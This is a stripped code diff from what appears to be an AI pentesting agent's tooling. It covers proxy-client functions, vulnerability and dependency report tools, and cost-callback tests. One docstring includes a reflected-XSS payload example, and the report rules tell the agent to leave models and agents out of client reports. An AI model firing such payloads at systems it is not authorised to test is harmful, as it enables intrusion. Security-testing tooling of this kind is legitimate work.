return await list_requests_with_client(
await get_client(),
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
async def view_request(request_id: str, *, part: RequestPart = "request") -> Any:
return await call_with_client(
lambda client: get_request_with_client(client, request_id, part=part)
)
return await get_request_with_client(await get_client(), request_id, part=part)
async def repeat_request(
@@ -452,26 +406,22 @@ async def repeat_request(
modifications: dict[str, Any] | None = None,
) -> dict[str, Any]:
mods = modifications or {}
result = await get_request_with_client(await get_client(), request_id, part="request")
if result is None or result.request.raw is None:
raise ValueError(f"Request {request_id} not found")
async def _run(client: CaidoClient) -> dict[str, Any]:
result = await get_request_with_client(client, request_id, part="request")
if result is None or result.request.raw is None:
raise ValueError(f"Request {request_id} not found")
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = parse_raw_request(raw_str)
full_url = full_url_from_components(original, components, mods)
modified = apply_modifications(components, mods, full_url)
connection, raw = build_raw_request(
method=modified["method"],
url=modified["url"],
headers=modified["headers"],
body=modified["body"],
)
return await replay_send_raw(client, raw=raw, connection=connection)
return await call_with_client(_run)
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = parse_raw_request(raw_str)
full_url = full_url_from_components(original, components, mods)
modified = apply_modifications(components, mods, full_url)
connection, raw = build_raw_request(
method=modified["method"],
url=modified["url"],
headers=modified["headers"],
body=modified["body"],
)
return await replay_send_raw(await get_client(), raw=raw, connection=connection)
async def scope_rules(
@@ -482,28 +432,7 @@ async def scope_rules(
scope_id: str | None = None,
scope_name: str | None = None,
) -> Any:
async def _run(client: CaidoClient) -> Any:
return await _scope_rules_with_client(
client,
action,
allowlist=allowlist,
denylist=denylist,
scope_id=scope_id,
scope_name=scope_name,
)
return await call_with_client(_run)
async def _scope_rules_with_client(
client: CaidoClient,
action: ScopeAction,
*,
allowlist: list[str] | None = None,
denylist: list[str] | None = None,
scope_id: str | None = None,
scope_name: str | None = None,
) -> Any:
client = await get_client()
if action == "list":
result = await scope_list(client)
elif action == "get":
@@ -722,20 +651,18 @@ async def list_sitemap(
page: int = 1,
page_size: int = _SITEMAP_PAGE_SIZE,
) -> dict[str, Any]:
return await call_with_client(
lambda client: list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
page_size=page_size,
)
return await list_sitemap_with_client(
await get_client(),
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
page_size=page_size,
)
async def view_sitemap_entry(entry_id: str) -> dict[str, Any]:
return await call_with_client(lambda client: view_sitemap_entry_with_client(client, entry_id))
return await view_sitemap_entry_with_client(await get_client(), entry_id)
__all__ = [
+32 -74
View File
@@ -2,7 +2,6 @@
from __future__ import annotations
import asyncio
import dataclasses
import json
import logging
@@ -20,8 +19,6 @@ logger = logging.getLogger(__name__)
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client
from strix.tools.proxy.caido_api import (
@@ -41,23 +38,12 @@ else:
ScopeAction = Literal["get", "list", "create", "update", "delete"]
# All agents in a scan share one host-side Caido client whose GraphQL transport
# is not concurrency-safe (parallel calls raise "Transport is already
# connected"). Serialize every host-side proxy call through this lock.
_CAIDO_CALL_LOCK = asyncio.Lock()
def _ctx_client(ctx: RunContextWrapper) -> Client | None:
inner = ctx.context if isinstance(ctx.context, dict) else {}
return inner.get("caido_client")
async def _call[T](client: Client, fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized under ``_CAIDO_CALL_LOCK``."""
async with _CAIDO_CALL_LOCK:
return await fn(client)
def _to_tool_json(value: Any) -> Any:
"""Recursively convert SDK dataclasses/Pydantic objects to tool JSON values."""
if value is None or isinstance(value, str | int | float | bool):
@@ -160,17 +146,14 @@ async def list_requests(
return _no_client()
try:
connection = await _call(
connection = await caido_api.list_requests_with_client(
client,
lambda client: caido_api.list_requests_with_client(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
),
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
entries = []
@@ -266,10 +249,7 @@ async def view_request(
return _no_client()
try:
result = await _call(
client,
lambda client: caido_api.get_request_with_client(client, request_id, part=part),
)
result = await caido_api.get_request_with_client(client, request_id, part=part)
if result is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
@@ -384,10 +364,15 @@ async def repeat_request(
return _no_client()
mods = modifications or {}
async def _do(client: Client) -> dict[str, Any] | None:
try:
result = await caido_api.get_request_with_client(client, request_id, part="request")
if result is None or result.request.raw is None:
return None
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
ensure_ascii=False,
default=str,
)
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = caido_api.parse_raw_request(raw_str)
@@ -399,16 +384,7 @@ async def repeat_request(
headers=modified["headers"],
body=modified["body"],
)
return await caido_api.replay_send_raw(client, raw=raw, connection=connection)
try:
replay = await _call(client, _do)
if replay is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
ensure_ascii=False,
default=str,
)
replay = await caido_api.replay_send_raw(client, raw=raw, connection=connection)
return _format_replay_tool_result(replay)
except Exception as exc: # noqa: BLE001
return _err("repeat_request", exc)
@@ -465,15 +441,12 @@ async def list_sitemap(
if client is None:
return _no_client()
try:
payload = await _call(
payload = await caido_api.list_sitemap_with_client(
client,
lambda client: caido_api.list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
),
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
@@ -499,10 +472,7 @@ async def view_sitemap_entry(
if client is None:
return _no_client()
try:
payload = await _call(
client,
lambda client: caido_api.view_sitemap_entry_with_client(client, entry_id),
)
payload = await caido_api.view_sitemap_entry_with_client(client, entry_id)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
return _err("view_sitemap_entry", exc)
@@ -560,7 +530,7 @@ async def scope_rules(
try:
if action == "list":
scopes = await _call(client, caido_api.scope_list)
scopes = await caido_api.scope_list(client)
return json.dumps(
{"success": True, "scopes": [_to_tool_json(s) for s in scopes]},
ensure_ascii=False,
@@ -573,11 +543,9 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(client, lambda client: caido_api.scope_get(client, scope_id))
scope = await caido_api.scope_get(client, scope_id)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
)
if action == "create":
if not scope_name:
@@ -586,16 +554,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(
client,
lambda client: caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
),
scope = await caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
)
if action == "update":
if not scope_id or not scope_name:
@@ -607,16 +570,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(
client,
lambda client: caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
),
scope = await caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
)
if not scope_id:
return json.dumps(
@@ -624,7 +582,7 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
await _call(client, lambda client: caido_api.scope_delete(client, scope_id))
await caido_api.scope_delete(client, scope_id)
return json.dumps(
{
"success": True,
+8 -444
View File
@@ -148,12 +148,8 @@ _REQUIRED_FIELDS = {
"poc_description": "PoC description cannot be empty",
"poc_script_code": "PoC script/code is REQUIRED - provide the actual exploit/payload",
"remediation_steps": "Remediation steps cannot be empty",
"evidence": "Evidence cannot be empty - provide concrete proof of the finding",
"assumptions": "Assumptions cannot be empty - state exploitability prerequisites",
}
_VALID_FIX_EFFORT = frozenset({"trivial", "low", "medium", "high"})
async def _do_create( # noqa: PLR0912
*,
@@ -165,16 +161,12 @@ async def _do_create( # noqa: PLR0912
poc_description: str,
poc_script_code: str,
remediation_steps: str,
evidence: str,
assumptions: str,
fix_effort: str,
cvss_breakdown: dict[str, str],
endpoint: str | None,
method: str | None,
cve: str | None,
cwe: str | None,
code_locations: list[dict[str, Any]] | None,
fix_pr_body: str | None = None,
agent_id: str | None = None,
agent_name: str | None = None,
) -> dict[str, Any]:
@@ -188,19 +180,11 @@ async def _do_create( # noqa: PLR0912
"poc_description": poc_description,
"poc_script_code": poc_script_code,
"remediation_steps": remediation_steps,
"evidence": evidence,
"assumptions": assumptions,
}
for name, msg in _REQUIRED_FIELDS.items():
if not str(fields.get(name) or "").strip():
errors.append(msg)
fix_effort = (fix_effort or "").strip().lower()
if fix_effort not in _VALID_FIX_EFFORT:
errors.append(
f"Invalid fix_effort: {fix_effort!r}. Must be one of: {sorted(_VALID_FIX_EFFORT)}"
)
if not isinstance(cvss_breakdown, dict) or not cvss_breakdown:
errors.append("cvss_breakdown: must be an object with the 8 CVSS metrics")
cvss_breakdown = {}
@@ -284,9 +268,6 @@ async def _do_create( # noqa: PLR0912
poc_description=poc_description,
poc_script_code=poc_script_code,
remediation_steps=remediation_steps,
evidence=evidence,
assumptions=assumptions,
fix_effort=fix_effort,
cvss=cvss_score,
cvss_breakdown=cvss_breakdown,
endpoint=endpoint,
@@ -294,7 +275,6 @@ async def _do_create( # noqa: PLR0912
cve=cve,
cwe=cwe,
code_locations=parsed_locations,
fix_pr_body=fix_pr_body,
agent_id=agent_id if isinstance(agent_id, str) else None,
agent_name=agent_name if isinstance(agent_name, str) else None,
)
@@ -329,16 +309,12 @@ async def create_vulnerability_report(
poc_description: str,
poc_script_code: str,
remediation_steps: str,
evidence: str,
assumptions: str,
fix_effort: str,
cvss_breakdown: dict[str, str],
endpoint: str | None = None,
method: str | None = None,
cve: str | None = None,
cwe: str | None = None,
code_locations: list[dict[str, Any]] | None = None,
fix_pr_body: str | None = None,
) -> str:
"""File a vulnerability report — one report per fully-verified finding.
@@ -351,46 +327,24 @@ async def create_vulnerability_report(
- Suspicions you haven't confirmed with a PoC.
- Tracking multiple vulnerabilities at once one report per vuln.
- Re-reporting something you (or another agent) already filed.
- Known-CVE dependency / supply-chain findings that can't be
dynamically PoC'd — a vulnerable dependency version pinned in a
lockfile/manifest that matches a published advisory. File those
with ``create_dependency_report`` instead, never with this tool.
Automatic LLM-based **deduplication** rejects reports that describe
the same root cause on the same asset as an existing report. If you
get a ``duplicate_of`` response, do NOT retry move on to other
areas.
**Report output rules** (this content may be rendered into generated
reports):
**Customer-facing report rules** (the report is PDF-rendered for
delivery):
- No internal/system details: never mention paths like
``/workspace``, internal tools, agents, sandboxes, models, system
prompts, internal errors / stack traces, or tester environment.
Never leak internal identifiers (proxy request IDs, internal
report IDs) into any field.
- Tone: formal, objective, third-person, vendor-neutral, concise.
Avoid internal-guidance headings like "QUICK", "Approach", or
"Techniques" that read like an engineering runbook rather than a
client deliverable.
- **Use markdown in every text field**: ``**bold**`` for emphasis,
``inline code`` for identifiers/values/parameters, and fenced
code blocks (```` ```language ````) for any code/payload/HTTP
excerpt. Never leave code bare/unformatted. When referencing a
file, annotate the fence, e.g.
```` ```python title=app.py startLineNumber=42 endLineNumber=50 ````.
- Field discipline: ``poc_description`` is steps only NO code (all
code goes in ``poc_script_code``); ``remediation_steps`` is prose
only NO code/diffs (code fixes go in ``code_locations``).
- Standard finding structure: Overview Severity & CVSS
Affected assets Technical details PoC (steps + code)
Impact Remediation Evidence (in technical_analysis).
- Numbered steps allowed only in PoC and Remediation sections.
- Avoid hedging language; be precise and non-vague.
- Follow a standard pentest report structure across the fields:
(1) overview (``description``), (2) severity & CVSS vector
(``cvss_breakdown``), (3) affected asset(s) (``target`` /
``endpoint``), (4) technical details (``technical_analysis``),
(5) proof of concept (``poc_description`` + ``poc_script_code``),
(6) impact (``impact``), (7) evidence (``evidence``), and
(8) remediation (``remediation_steps``).
**White-box requirement**: when source is available, you MUST
populate ``code_locations``. See the ``code_locations`` arg below
@@ -422,30 +376,6 @@ async def create_vulnerability_report(
"availability": "H"
}
**CVSS calibration** score the weakness you actually proved, not a
hypothetical worst case. Most over-rating comes from these mistakes:
- **Don't presuppose a separate compromise.** If exploitation
requires the attacker to already hold a victim secret (a stolen
session cookie/token, a leaked one-time link, intercepted traffic),
that acquisition is not free. Do not score it as
``privileges_required:N`` with ``attack_complexity:L`` as if
directly reachable, and do not rate a replay-of-captured-secret
issue High/Critical unless the *same* finding demonstrates a
concrete way to obtain that secret. Issues like a session that
survives logout or a replayable link are session-management /
defense-in-depth weaknesses usually Low/Medium on their own.
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
``I:H`` require proof of wide or systemic read/write. A single
user's data, a read-only information leak, or merely confirming
that an account / domain / software version *exists* (enumeration)
is ``C:L`` (often ``I:N``) not ``C:H``.
- **Model required position and interaction honestly.** An
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
or a required victim action is not guaranteed reflect it in
``attack_complexity`` / ``user_interaction`` instead of assuming the
ideal condition always holds.
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
``CWE-89``) no name, no parenthetical. Be 100% certain; if
unsure, use ``web_search`` to verify the ID before passing, or omit
@@ -477,23 +407,13 @@ async def create_vulnerability_report(
title: Specific finding title (e.g.
``"SQL Injection in /api/users login parameter"``). Don't
include the CVE number in the title.
description: Concise, non-technical TL;DR of the vulnerability
(1-3 sentences) it appears first in the report. Deep
technical detail and root-cause analysis belong in
``technical_analysis``, not here.
description: How the vuln was discovered + what it is.
impact: What an attacker achieves; business risk; data at risk.
target: Affected URL / domain / repository.
technical_analysis: The mechanism and root cause.
poc_description: Step-by-step reproduction (steps only, no code).
poc_description: Step-by-step reproduction.
poc_script_code: Working PoC (Python preferred).
remediation_steps: Specific, actionable fix (prose, no code).
evidence: Concrete proof the issue is real and exploitable
request/response excerpts, observed behavior, tool output.
Use fenced code blocks; no internal identifiers/paths.
assumptions: Short note on the assumptions/prerequisites that
make this finding impactful or exploitable (e.g. "assumes an
authenticated low-privilege user").
fix_effort: One of ``trivial`` / ``low`` / ``medium`` / ``high``.
remediation_steps: Specific, actionable fix.
cvss_breakdown: 8-metric object per the format above.
endpoint: API path / Git path (e.g. ``/api/login``).
method: HTTP method when relevant.
@@ -562,47 +482,6 @@ async def create_vulnerability_report(
- Padding ``fix_before`` with surrounding context lines
that aren't part of the fix.
- Duplicating the same change across multiple locations.
fix_pr_body: Optional. When source is available and you have a
concrete fix, a markdown PR-description body proposing the
fix (summary + rationale). Prose/markdown only the code
change itself belongs in ``code_locations``. Omit for
black-box findings.
Example (abbreviated mirror this structure)::
title: "Reflected XSS in /search q parameter"
description:
The **`q`** parameter of `/search` reflects user input into
the HTML response without encoding, allowing script
injection.
technical_analysis:
The handler interpolates `q` directly into the page body:
```python title=views.py startLineNumber=42 endLineNumber=44
html = f"<h2>Results for {q}</h2>"
return HttpResponse(html)
```
No output encoding is applied, so `<script>` executes.
poc_description:
1. Navigate to `/search?q=<payload>`.
2. Observe the payload executes in the victim's browser.
poc_script_code:
```
GET /search?q=<script>alert(document.domain)</script>
```
evidence:
Response echoes the payload verbatim:
```html
<h2>Results for <script>alert(document.domain)</script></h2>
```
assumptions:
Assumes a victim can be induced to open a crafted link.
remediation_steps:
Context-encode all user input rendered into HTML; prefer the
template engine's auto-escaping over string interpolation.
fix_effort: "low"
"""
inner = ctx.context if isinstance(ctx.context, dict) else {}
raw_agent_id = inner.get("agent_id")
@@ -624,327 +503,12 @@ async def create_vulnerability_report(
poc_description=poc_description,
poc_script_code=poc_script_code,
remediation_steps=remediation_steps,
evidence=evidence,
assumptions=assumptions,
fix_effort=fix_effort,
cvss_breakdown=cvss_breakdown,
endpoint=endpoint,
method=method,
cve=cve,
cwe=cwe,
code_locations=code_locations,
fix_pr_body=fix_pr_body,
agent_id=agent_id,
agent_name=agent_name,
)
return json.dumps(result, ensure_ascii=False, default=str)
_DEP_SEVERITY_FROM_CVSS = {
(9.0, 10.0): "critical",
(7.0, 9.0): "high",
(4.0, 7.0): "medium",
(0.0, 4.0): "low",
}
def _dependency_severity(advisory_cvss: float | None) -> tuple[float, str]:
if advisory_cvss is None:
return 0.0, "info"
score = max(0.0, min(10.0, advisory_cvss))
for (lo, hi), label in _DEP_SEVERITY_FROM_CVSS.items():
if lo <= score < hi or (hi == 10.0 and score == 10.0):
return score, label
return score, "none"
def _build_dependency_metadata(
*,
package_name: str,
installed_version: str,
package_ecosystem: str | None,
fixed_version: str | None,
) -> dict[str, str]:
metadata = {
"package_name": package_name.strip(),
"installed_version": installed_version.strip(),
}
if package_ecosystem and package_ecosystem.strip():
metadata["package_ecosystem"] = package_ecosystem.strip()
if fixed_version and fixed_version.strip():
metadata["fixed_version"] = fixed_version.strip()
return metadata
def _build_dependency_evidence(
*,
cve: str,
package_name: str,
installed_version: str,
fixed_version: str | None,
) -> str:
evidence = (
f"**Advisory evidence:** `{cve}` applies to `{package_name}` "
f"at installed version `{installed_version}`."
)
if fixed_version and fixed_version.strip():
evidence += f" The advisory is fixed in `{fixed_version.strip()}`."
return evidence
async def _do_create_dependency( # noqa: PLR0912
*,
title: str,
description: str,
target: str,
cve: str,
package_name: str,
installed_version: str,
impact: str,
remediation_steps: str,
assumptions: str,
package_ecosystem: str | None,
fixed_version: str | None,
cwe: str | None,
advisory_cvss: float | None,
technical_analysis: str | None,
fix_effort: str,
agent_id: str | None = None,
agent_name: str | None = None,
) -> dict[str, Any]:
errors: list[str] = []
required = {
"title": title,
"description": description,
"target": target,
"package_name": package_name,
"installed_version": installed_version,
"package_ecosystem": package_ecosystem,
"impact": impact,
"remediation_steps": remediation_steps,
"assumptions": assumptions,
}
for name, value in required.items():
if not str(value or "").strip():
errors.append(f"{name} cannot be empty")
parsed_cve = _extract_cve(cve or "")
cve_err = _validate_cve(parsed_cve)
if cve_err:
errors.append(cve_err)
if cwe:
cwe = _extract_cwe(cwe)
cwe_err = _validate_cwe(cwe)
if cwe_err:
errors.append(cwe_err)
fix_effort = (fix_effort or "").strip().lower()
if fix_effort not in _VALID_FIX_EFFORT:
errors.append(
f"Invalid fix_effort: {fix_effort!r}. Must be one of: {sorted(_VALID_FIX_EFFORT)}"
)
if advisory_cvss is None:
errors.append(
"advisory_cvss is required: read the published advisory base score "
"(0.0-10.0) off the advisory (trivy CVSS / NVD / GHSA). Severity is "
"derived solely from it — do not omit it or the finding cannot be rated."
)
elif not 0.0 <= advisory_cvss <= 10.0:
errors.append(f"advisory_cvss must be between 0.0 and 10.0, got {advisory_cvss}")
if errors:
return {"success": False, "error": "Validation failed", "errors": errors}
cvss_score, severity = _dependency_severity(advisory_cvss)
dependency_metadata = _build_dependency_metadata(
package_name=package_name,
installed_version=installed_version,
package_ecosystem=package_ecosystem,
fixed_version=fixed_version,
)
evidence = _build_dependency_evidence(
cve=parsed_cve,
package_name=package_name.strip(),
installed_version=installed_version.strip(),
fixed_version=fixed_version,
)
try:
from strix.report.state import get_global_report_state
report_state = get_global_report_state()
if report_state is None:
logger.warning("No global report state; dependency report not persisted")
return {
"success": True,
"message": f"Dependency finding '{title}' created (not persisted)",
"warning": "Report could not be persisted - report state unavailable",
}
from strix.report.dedupe import check_duplicate
existing = report_state.get_existing_vulnerabilities()
candidate = {
"title": title,
"description": description,
"target": target,
"cve": parsed_cve,
"dependency_metadata": dependency_metadata,
"technical_analysis": technical_analysis,
}
dedupe = await check_duplicate(candidate, existing)
if dedupe.get("is_duplicate"):
duplicate_id = dedupe.get("duplicate_id", "")
return {
"success": False,
"error": (
f"Potential duplicate (id={duplicate_id[:8]}...) — "
"do not re-report the same dependency finding"
),
"duplicate_of": duplicate_id,
"confidence": dedupe.get("confidence", 0.0),
"reason": dedupe.get("reason", ""),
}
report_id = report_state.add_vulnerability_report(
title=title,
description=description,
severity=severity,
impact=impact,
target=target,
technical_analysis=technical_analysis,
remediation_steps=remediation_steps,
evidence=evidence,
assumptions=assumptions,
fix_effort=fix_effort,
cvss=cvss_score if advisory_cvss is not None else None,
cve=parsed_cve,
cwe=cwe,
finding_class="dependency_cve",
dependency_metadata=dependency_metadata,
agent_id=agent_id if isinstance(agent_id, str) else None,
agent_name=agent_name if isinstance(agent_name, str) else None,
)
except (ImportError, AttributeError) as e:
logger.exception("create_dependency_report persistence failed")
return {"success": False, "error": f"Failed to create dependency report: {e!s}"}
else:
logger.info(
"Dependency report created: id=%s cve=%s package=%s severity=%s",
report_id,
parsed_cve,
package_name,
severity,
)
return {
"success": True,
"message": f"Dependency finding '{title}' created successfully",
"report_id": report_id,
"severity": severity,
"cve": parsed_cve,
}
@function_tool(timeout=180, strict_mode=False)
async def create_dependency_report(
ctx: RunContextWrapper,
title: str,
description: str,
target: str,
cve: str,
package_name: str,
installed_version: str,
advisory_cvss: float,
impact: str,
remediation_steps: str,
assumptions: str,
package_ecosystem: str,
fixed_version: str | None = None,
cwe: str | None = None,
technical_analysis: str | None = None,
fix_effort: str = "low",
) -> str:
"""File a known-CVE dependency (SCA) finding — one report per CVE x package.
Use this instead of ``create_vulnerability_report`` when the finding
is a **known-CVE supply-chain issue**: a vulnerable third-party
package/version identified from a lockfile, manifest, or SBOM. Unlike
a dynamic finding, you do NOT need to trigger the vulnerability with a
live PoC a verified advisory + the affected installed version is the
evidence.
**When to file**:
- A dependency is pinned to a version covered by a published CVE.
- You have verified the CVE ID and the installed version falls in the
affected range (use ``web_search`` if unsure).
**When NOT to file**:
- Dynamically-proven vulnerabilities use
``create_vulnerability_report`` (``finding_class`` dynamic).
- Outdated-but-not-vulnerable dependencies with no CVE.
- Re-reporting the same CVE/package already filed.
**Reachability**: do NOT silently downgrade or suppress a finding
because the vulnerable code path may be unreachable instead state
reachability as an ``assumptions`` / confidence factor. Report the
finding; let the reader weigh exploitability.
**Formatting**: use markdown in text fields (``**bold**``, ``inline
code`` for package/version identifiers, fenced code blocks for
manifest excerpts). No internal paths/tooling/agent references.
Args:
title: e.g. ``"CVE-2024-1234 in lodash 4.17.20 (prototype pollution)"``.
description: What the CVE is and why the pinned version is affected.
target: Affected repository / project / manifest.
cve: ``CVE-YYYY-NNNNN`` required and must be verified.
package_name: Affected package name (e.g. ``lodash``).
installed_version: The version currently pinned/installed.
impact: What the CVE enables; business risk in this context.
remediation_steps: How to fix (usually upgrade to a fixed version).
assumptions: Exploitability/reachability assumptions & confidence.
package_ecosystem: e.g. ``npm`` / ``pypi`` / ``maven`` / ``go``.
fixed_version: First non-vulnerable version, if known.
cwe: ``CWE-NNN`` (most specific) if certain, else omit.
advisory_cvss: **Required.** Published advisory base score
(0.0-10.0) read it off the advisory (trivy CVSS / NVD / GHSA).
Severity is derived solely from this score, so it must be the
real published value; do not guess or omit it.
technical_analysis: Optional deeper mechanism/root-cause detail.
fix_effort: One of ``trivial`` / ``low`` / ``medium`` / ``high``
(dependency upgrades are usually ``trivial``/``low``).
"""
inner = ctx.context if isinstance(ctx.context, dict) else {}
raw_agent_id = inner.get("agent_id")
agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
agent_name = None
coordinator = inner.get("coordinator")
if agent_id is not None and coordinator is not None:
names = getattr(coordinator, "names", {})
if isinstance(names, dict):
raw_agent_name = names.get(agent_id)
agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
result = await _do_create_dependency(
title=title,
description=description,
target=target,
cve=cve,
package_name=package_name,
installed_version=installed_version,
impact=impact,
remediation_steps=remediation_steps,
assumptions=assumptions,
package_ecosystem=package_ecosystem,
fixed_version=fixed_version,
cwe=cwe,
advisory_cvss=advisory_cvss,
technical_analysis=technical_analysis,
fix_effort=fix_effort,
agent_id=agent_id,
agent_name=agent_name,
)
-17
View File
@@ -5,23 +5,6 @@ invocation the agent makes (nmap, ffuf, agent-browser, python3, …) goes
through `exec_command`. `write_stdin` streams input to a still-running
process started by an earlier `exec_command` (for interactive prompts).
## `write_stdin` requires a TTY-backed process
`exec_command` runs each command in a fresh **non-interactive** shell (plain
pipes, no TTY) by default. `write_stdin` only works against a process that is
still running **and** was started with a PTY. The canonical sequence is:
```text
exec_command(cmd="python3", tty=true) # start a PTY-backed process
write_stdin(session_id=<id>, chars="print(1)\n")
```
Calling `write_stdin` on a command started with the default `tty=false`, or on
a process that has already exited, fails with
`stdin is not available for this process. Start the command with 'tty=true' in
'exec_command' before using 'write_stdin'.` Use `tty=true` for REPLs,
`ssh`/`nc`/`ftp`, `msfconsole`, or to deliver a Ctrl-C to a long-running job.
- **Implementation:** `agents.sandbox.capabilities.tools.shell_tool.ShellTool`
(in the upstream `agents` SDK)
- **Wired in:** `strix/agents/factory.py` — added per-run via the SDK
-51
View File
@@ -1,51 +0,0 @@
"""Tests for the shell tool adapters in the agent factory."""
from __future__ import annotations
import json
from typing import Any, cast
import pytest
from agents.tool import FunctionTool
from strix.agents import factory
def _capturing_exec_tool(captured: dict[str, str]) -> FunctionTool:
async def invoke(_ctx: Any, raw_input: str) -> str:
captured["raw_input"] = raw_input
return "ok"
return FunctionTool(
name="exec_command",
description="test tool",
params_json_schema={"type": "object", "properties": {}},
on_invoke_tool=invoke,
)
@pytest.mark.asyncio
async def test_wrap_exec_command_defaults_shell_to_bash() -> None:
captured: dict[str, str] = {}
wrapped = factory._wrap_exec_command(_capturing_exec_tool(captured))
result = await wrapped.on_invoke_tool(cast("Any", None), json.dumps({"cmd": "source /tmp/env"}))
assert result == "ok"
assert json.loads(captured["raw_input"]) == {
"cmd": "source /tmp/env",
"shell": "bash",
}
@pytest.mark.asyncio
@pytest.mark.parametrize("shell", ["/bin/zsh", ""])
async def test_wrap_exec_command_preserves_explicit_shell(shell: str) -> None:
captured: dict[str, str] = {}
wrapped = factory._wrap_exec_command(_capturing_exec_tool(captured))
await wrapped.on_invoke_tool(
cast("Any", None), json.dumps({"cmd": "echo test", "shell": shell})
)
assert json.loads(captured["raw_input"])["shell"] == shell
-109
View File
@@ -6,7 +6,6 @@ from types import SimpleNamespace
from unittest.mock import MagicMock, patch
import litellm
import pytest
from strix.config.models import _configure_litellm_compatibility
from strix.report.state import litellm_cost_callback
@@ -43,111 +42,3 @@ def test_cost_callback_reads_usage_cost_from_mapping_response() -> None:
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.125)
def test_cost_callback_reads_byok_upstream_inference_cost() -> None:
report_state = MagicMock()
response = SimpleNamespace(
usage=SimpleNamespace(
cost=0,
is_byok=True,
cost_details=SimpleNamespace(upstream_inference_cost=6.75e-06),
),
_hidden_params={},
)
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({"response_cost": None}, response)
report_state.record_observed_llm_cost.assert_called_once_with(6.75e-06)
def test_cost_callback_sums_usage_cost_and_upstream_inference_cost() -> None:
report_state = MagicMock()
response = {
"usage": {
"cost": 0.01,
"is_byok": True,
"cost_details": {"upstream_inference_cost": 0.2},
}
}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(pytest.approx(0.21))
def test_cost_callback_ignores_upstream_cost_for_non_byok_responses() -> None:
report_state = MagicMock()
response = {
"usage": {
"cost": 0.05,
"is_byok": False,
"cost_details": {"upstream_inference_cost": 0.04},
}
}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.05)
def test_cost_callback_estimates_cost_with_provider_prefixed_model() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
kwargs = {
"response_cost": None,
"model": "anthropic/claude-sonnet-4.5",
"litellm_params": {"custom_llm_provider": "openrouter"},
}
def fake_completion_cost(**kwargs: object) -> float:
if kwargs["model"] == "openrouter/anthropic/claude-sonnet-4.5":
return 0.5
raise ValueError(kwargs["model"])
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=fake_completion_cost),
):
litellm_cost_callback(kwargs, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.5)
def test_cost_callback_estimates_cost_with_bare_model_fallback() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
kwargs = {
"response_cost": None,
"model": "openai/gpt-4o-mini",
"litellm_params": {"custom_llm_provider": "openrouter"},
}
def fake_completion_cost(**kwargs: object) -> float:
if kwargs["model"] == "gpt-4o-mini":
return 0.025
raise ValueError(kwargs["model"])
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=fake_completion_cost),
):
litellm_cost_callback(kwargs, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.025)
def test_cost_callback_records_nothing_when_no_cost_available() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=ValueError("unknown model")),
):
litellm_cost_callback({"response_cost": None, "model": "x/y"}, response)
report_state.record_observed_llm_cost.assert_not_called()
-30
View File
@@ -155,33 +155,3 @@ def test_make_model_settings_forces_required_for_anyllm_routed_openai_model() ->
)
